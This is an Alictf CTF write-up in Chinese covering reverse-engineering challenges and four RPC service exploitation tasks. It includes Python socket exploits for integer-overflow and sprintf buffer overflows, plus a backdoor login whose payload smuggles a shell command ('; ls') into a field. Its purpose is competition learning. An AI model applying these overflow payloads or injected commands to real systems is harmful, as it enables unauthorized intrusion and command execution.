Alictf Writeup

Alictf Writeup

Reverse

1.    Ch1

根据题目描述,首先在Ch1.exe文件中搜索Secret.db字符串,如下所示。

之后定位文件创建和数据写入位置,如下所示。

可以看到,写入数据的地址位于esp+30h+var10,而在之前调用了data_handle函数对齐进行了处理,data_handle函数有三个参数,分别是pOutBuffer、pInBuffer、InBufferSize,如下所示。

传入数据如下所示。

处理完后,位于0x28EF3C处的数据如下所示。

可以看到,OutBuffer位于0x491B80处,如下所示。

分析到这儿,可以发现InBuffer明显不是我们所要找的flag,而其值又来源于edi,edi来源于ecx,属于寄存器传参,继续向前跟踪函数。

在这,我们发现ecx来自于edi,而edi保存的是esi+0F4h处的地址,在这中间对地址中的数据进行了处理,调用了crypto1函数进行了处理。在crypto1中,我们发现有大量的赋值操作,并且这些值的ASCII码都是可视,应该就是我们所要找的flag,如下所示。

在此处下断,查看内存信息如下所示。

可以看到加密的key就是位于0x53EE74这0x20字节。

2.    Ch2

这一题是文件加解密相关的,首先创建flag.txt文件,输入文本“0123456789”,得到如下输出结果。

可以看到这里的每一个数字都用2个字节来表示,只是进行了简单的置换操作,由此我们可以把所有可视的ASCII字符与密码表的对应关系搞清楚,直接替换原来flag.crypt文件中的数据即可,代码如下所示。

 1 #gen_crypto_table.py
 2
 3 import os
 4
 5 fp1 = open(‘flag.txt‘,‘r‘)
 6 fp2 = open(‘flag.crpyt‘,‘rb‘)
 7 fp3 = open(‘data.txt‘,‘a‘)
 8
 9 text1=fp1.read()
10 text2=fp2.read()
11 data_length = len(text1)
12
13 for i in range(0,data_length):
14          data=text1[i] + ‘ ‘ + text2[2*i] + text2[2*i+1] +‘\n‘
15          fp3.write(data)
16
17 fp1.close()
18 fp2.close()
19 fp3.close()
 1 #gen_flag.py
 2 import os
 3
 4 fp1 = open(‘data.txt‘,‘rb‘)
 5 fp2 = open(‘final-flag.crpyt‘,‘rb‘)
 6
 7 fp3 = open(‘result.txt‘,‘w‘)
 8
 9 text1=fp1.read()
10 text2=fp2.read()
11 data2_length = len(text2)
12 data1_length = len(text1)
13
14 #print data1_length
15 #for j in range(0,18,6):
16
17
18 for i in range(0,data2_length,2):
19     target = text2[i:i+2]
20     for j in range(0,data1_length,6):
21         tmp = text1[j:j+4]
22         if(target==tmp[2:]):
23             print repr(target[0]),repr(target[1]),repr(tmp[2]),repr(tmp[3])
24             fp3.write(tmp[0])
25             break;
26
27
28 fp1.close()
29 fp2.close()
30 fp3.close()

3.    Ch3

这一题使用了UPX压缩壳,数据解压出来后会跳到原程序的入口点,如下所示。

运行程序,程序在如下位置崩溃。

查看栈回溯信息。

发现程序在base_address+0x1943h前call rax出错,如下所示。

使用UPX对ch3.exe解压,解压出原来的ch3.exe文件来帮助我们分析。根据题目描述,定位到程序崩溃位置,如下所示。

发现此时调用DecryptDll.dll中的RSADecrypt函数,而在系统中却没有这个函数,导致此时的call rax出错。程序使用了UPX进行压缩,在解压缩的时候可能包含了这些数据,搜索内存,找到如下信息。

将该段内存(00000001`3f3970a8—00000001`3f3970a8+0xbbe00-1)导出,命名为DecryptDLL.dll。

重新加载程序,运行后仍然崩溃,如下所示。

栈回溯如下所示。

发现问题还是出在RSADecrypt函数的调用上,这里传进去4个参数rcx、rdx、r8、r9,他们分别表示pEncryptBuffer、BufferLength、pOutDecryptBuffer和flag(具体细节追踪DecryptDll中RSADecrypt函数处理流程即可知晓),而这里只需将r8的值指向有效内存即可让程序正常运行,如下所示。

Codesafe

1.    Rpc1

这一题问题在rpc_function_1函数中,如下所示。

这里的问题在于图中灰色部分,mtl是一个unsigned short,只有两个字节,而此时如果构造的数据满足tl==512 & temp.mtt=200的时候,此时的mtl的值会超过65535,导致malloc分配的空间过小,从而溢出。由此可以构造如下数据。

 1 #rpc1.py
 2 from socket import *
 3 import struct
 4
 5 class TcpClient:
 6     HOST=‘223.6.252.25‘
 7     PORT=30000
 8     BUFSIZ=1024
 9     ADDR=(HOST, PORT)
10     def __init__(self):
11         self.client=socket(AF_INET, SOCK_STREAM)
12         self.client.connect(self.ADDR)
13
14         while True:
15             token=‘A‘*32
16             dd=‘A‘*512
17             data=struct.pack(‘B‘,len(token))
18             data+=token
19             data+=struct.pack(‘B‘,1)
20             data+=struct.pack(‘>I‘,514)
21             data+=struct.pack(‘<H‘,200)
22             data+=dd
23             self.client.send(data)
24             data=self.client.recv(self.BUFSIZ)
25             if not data:
26                 break
27             print(‘从%s收到信息:%s‘ %(self.HOST,data))
28             break
29
30 if __name__ == ‘__main__‘:
31     client=TcpClient()

2.    Rpc2

这一题问题在rpc_function_2函数中,如下所示。

char buffer[512];
int len = request->len_data;
……
sprintf(buffer,"%s has been parsed, tag:%s, value:%s.", line, pr.t, pr.v);
return create_response(strlen(buffer),buffer);

中间省略了对数据进行解析的部分,最后这里把格式化的数据保存到buffer中,而buffer的大小只有512字节,line来自于网络数据,只要让这里的line的数据长度为512或者这个格式化字符串的长度大于512即可。具体数据如下所示。

 1 #rpc2.py
 2 from socket import *
 3 import struct
 4
 5 class TcpClient:
 6     HOST=‘42.120.63.194‘
 7     PORT=30000
 8     BUFSIZ=1024
 9     ADDR=(HOST, PORT)
10     def __init__(self):
11         self.client=socket(AF_INET, SOCK_STREAM)
12         self.client.connect(self.ADDR)
13
14         while True:
15             token=‘A‘*32
16
17             d1=‘A‘*63+‘=‘+‘21‘*8
18             d2=‘ ‘*(512-len(d1)) + d1
19
20             data=struct.pack(‘B‘,len(token))
21             data+=token
22             data+=struct.pack(‘B‘,2)
23             data+=struct.pack(‘>I‘,512)
24
25             data+=d2
26             self.client.send(data)
27             data=self.client.recv(self.BUFSIZ)
28             if not data:
29                 break
30             print(‘从%s收到信息:%s‘ %(self.HOST,data))
31             break
32
33 if __name__ == ‘__main__‘:
34     client=TcpClient()

3.    Rpc3

这一题问题在rpc_function_2函数中,和Codesafe 2类似,都是sprintf造成的问题,如下所示。

在上图灰色部分,r的大小为256字节,而p的数据通过function6进行处理的,只要想办法让这p的字符串大小在256左右即可触发漏洞。

在上图的function6中,我们可以看到p来自于t.szUrl中的“http://”之后的部分,这样我们就可以构造如下数据。

 1 #rpc4.py
 2 from socket import *
 3 import struct
 4 import time
 5
 6 class TcpClient:
 7     HOST=‘223.6.253.103‘
 8     PORT=30000
 9     BUFSIZ=1024
10     ADDR=(HOST, PORT)
11     def __init__(self):
12         self.client=socket(AF_INET, SOCK_STREAM)
13         self.client.connect(self.ADDR)
14
15         while True:
16             token=‘A‘*32
17             data=struct.pack(‘B‘,len(token))
18             data+=token
19             data+=struct.pack(‘B‘,2)
20
21             flag_v=2
22             stc=‘\x48\x48\x00\x00‘ #mn
23             stc+=struct.pack(‘I‘,int(time.time())); #ts
24             stc+=struct.pack(‘I‘,flag_v) #v
25             stc+="sdatsts-afu"+"\x00"*(16-len("sdatsts-afu")) #k
26             url="http://alibaba.com/"+"A"*(256-len("http://alibaba.com/"))
27             stc+=struct.pack("I",len(url)) #len
28             stc+=url+"\x00"*(256-len(url)) #szUrl
29
30             data+=struct.pack(‘>I‘,len(stc))
31             data+=stc
32             self.client.send(data)
33             data=self.client.recv(self.BUFSIZ)
34             if not data:
35                 break
36             print(‘从%s收到信息:%s‘ %(self.HOST,data))
37             break
38
39 if __name__ == ‘__main__‘:
40     client=TcpClient()

4.    Rpc4

这一题问题在rpc_function_1函数中,存在一个后门登陆漏洞,如下所示。

在上图灰色部分,能够调用system函数执行指定的指令,而想要到达这条路径,必须让”login==1 && strcmp(szUser,”admin”)==)”这个条件,也就是满足szUser==”admin”和value=”ALIBABA”这两个条件,具体的数据构造如下所示。

 1 #rpc4.py
 2 from socket import *
 3 import struct
 4
 5 class TcpClient:
 6     HOST=‘223.6.251.166‘
 7     PORT=30000
 8     BUFSIZ=1024
 9     ADDR=(HOST, PORT)
10     def __init__(self):
11         self.client=socket(AF_INET, SOCK_STREAM)
12         self.client.connect(self.ADDR)
13
14         while True:
15             token=‘A‘*32
16
17             data=struct.pack(‘B‘,len(token))
18             data+=token
19
20             data+=struct.pack(‘B‘,1)
21             data+=struct.pack(‘>I‘,512)
22
23
24             user=‘admin‘+‘ ‘*64+‘admi‘ #stc2.user
25             u_pass=‘urejhvg‘ #stc2.pass
26             ins=‘www.taobao.com; ls‘ #stc2.buffer
27             data1=user+"\x00"*(128-len(user))+u_pass+"\x00"*(128-len(u_pass))+ins+"\x00"*(256-len(ins))
28
29             data+=data1
30
31             self.client.send(data)
32             data=self.client.recv(self.BUFSIZ)
33             if not data:
34                 break
35             print(‘从%s收到信息:%s‘ %(self.HOST,data))
36             break
37
38 if __name__ == ‘__main__‘:
39     client=TcpClient()

奋斗了两天之后,解出了这么点题……感觉逆向能力还有待进一步加强,另外,基本上codesafe题都和socket通信有关,reverse4、5题能力要求有点高,感觉时间还是不够,熟练度有待进一步提高。。。

时间: 2024-11-04 22:24:29

Alictf Writeup的相关文章

2015 AliCTF Writeup

0x00 给了个apk,反编译之.使用JEB,一开始使用classes_dex2jar出来的代码不能看..... 入口的Activity中有两个对话框,发现调用了check方法,只要不报异常就能成功. 这里的this.b是M类的一个对象,所以找M类中的check方法. 进入check,看到代码的意思如下,调用getKey获取一个8字节的字符串: 这里不会抛异常,所以调用的是T类中的方法. 然后接下来,里面有个16元素的数组,赋值的索引很乱,只能写纸上依次把元素的值找出来. 真正的关键代码如下:

2016 alictf Timer writeup

Timer-smali逆向 参考文档:http://blog.csdn.net/qq_29343201/article/details/51649962 题目链接: https://pan.baidu.com/s/1jINx7Fo   (在里面找相应的名字就行) 题目描述:每秒触发一次计算,共有200000秒,答案参与计算,不可能等待下去. 使用工具:Android Killer,jadx-gui 解题方法有多种,我参照网上的一种方法.通过对native层,代码的还原,计算出200000秒后的关

uglycode - AliCTF - 2016 - Reverse

先用IDA看看main部分 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 result; // [email protected] char s1; // [sp+0h] [bp-110h]@1 void *v5; // [sp+108h] [bp-8h]@3 sub_400930(a1, a2, a3); puts("input you passcode:"); gets(&s1); i

BUGKU-逆向(reverse)-writeup

目录 入门逆向 Easy_vb Easy_Re 游戏过关 Timer(阿里CTF) 逆向入门 love LoopAndLoop(阿里CTF) easy-100(LCTF) SafeBox(NJCTF) Mountain climbing 前言:在bugku上把能写的逆向都写了,由于大佬们的writeup太深奥或者说太简洁了让我(小白)看得云里雾里.所以我写了这个详细点的writeup(理解错的地方望指出),尽量让大家都看得懂.最近比较忙先写到了这里,未完待续 入门逆向 下载后ida打开,双击_m

2016第七季极客大挑战Writeup

第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{We1c0m3_To_G33k_2O!6} 并且可以知道后边的题的Flag格式为 SYC{} 2.xiao彩蛋 题目提示关注微博,从Syclover Team 博客(http://blog.sycsec.com)可获取到三叶草小组微博,私信发送flag后即可得到. 3.闪的好快 一开始拖进PS分帧数

Jarvis OJ - class10 -Writeup

Jarvis OJ - class10 -Writeup 转载请注明出处:http://www.cnblogs.com/WangAoBo/p/7552266.html 题目: Jarivs OJ的一道misc,记录这道题的Writeup主要是想记录解题的脚本 分析: 文件下载后是纯数据,binwalk发现为两段zlib压缩后的数据,其中第2段为default compression,这是信息1:strings查看字符串,发现IHDR, RGB, IDAT等和图像相关的字符,这是信息2: 步骤:

Jarvis OJ Pwn writeup

Jarvis OJ Pwn writeup1.[XMAN]level02.[XMAN]level13.[XMAN]level2(简单64位栈溢出)4.[XMAN]level2(x64)5.[XMAN]level3(32位下两次溢出拿shell)6.[XMAN]level3_x64(基本64位栈溢出,简单ROP)7.[XMAN]level4(DynELF泄露system地址)8.[XMAN]level5(mprotect函数)9.Test Your Memory(简单栈溢出,覆盖返回地址)10.S

Redtiger Hackit Writeup

RedTiger's Hackit Level 1 Welcome to level 1 Lets start with a simple injection. Target: Get the login for the user Hornoxe Hint: You really need one? omg -_- Tablename: level1_users 通过http://redtiger.labs.overthewire.org/level1.php?cat=1 and 1=1 发现c

2017 redhat web writeup

2017 RedHat Web writeup1.thinkseeker2.PHPMyWIND3.后台 2017 RedHat Web writeup 1.thinkseeker 这题考两个点 1.用with rollup过前面两个if 2.用盲注找到flag 关于第一点在实验吧有原题:http://www.shiyanbar.com/ctf/1940 过滤方法稍有不同,用操作符代替关键字即可.token使用变量覆盖就可以. 第二点就是infoid这个参数有盲注,跑脚本可以拿到flag. 这是脚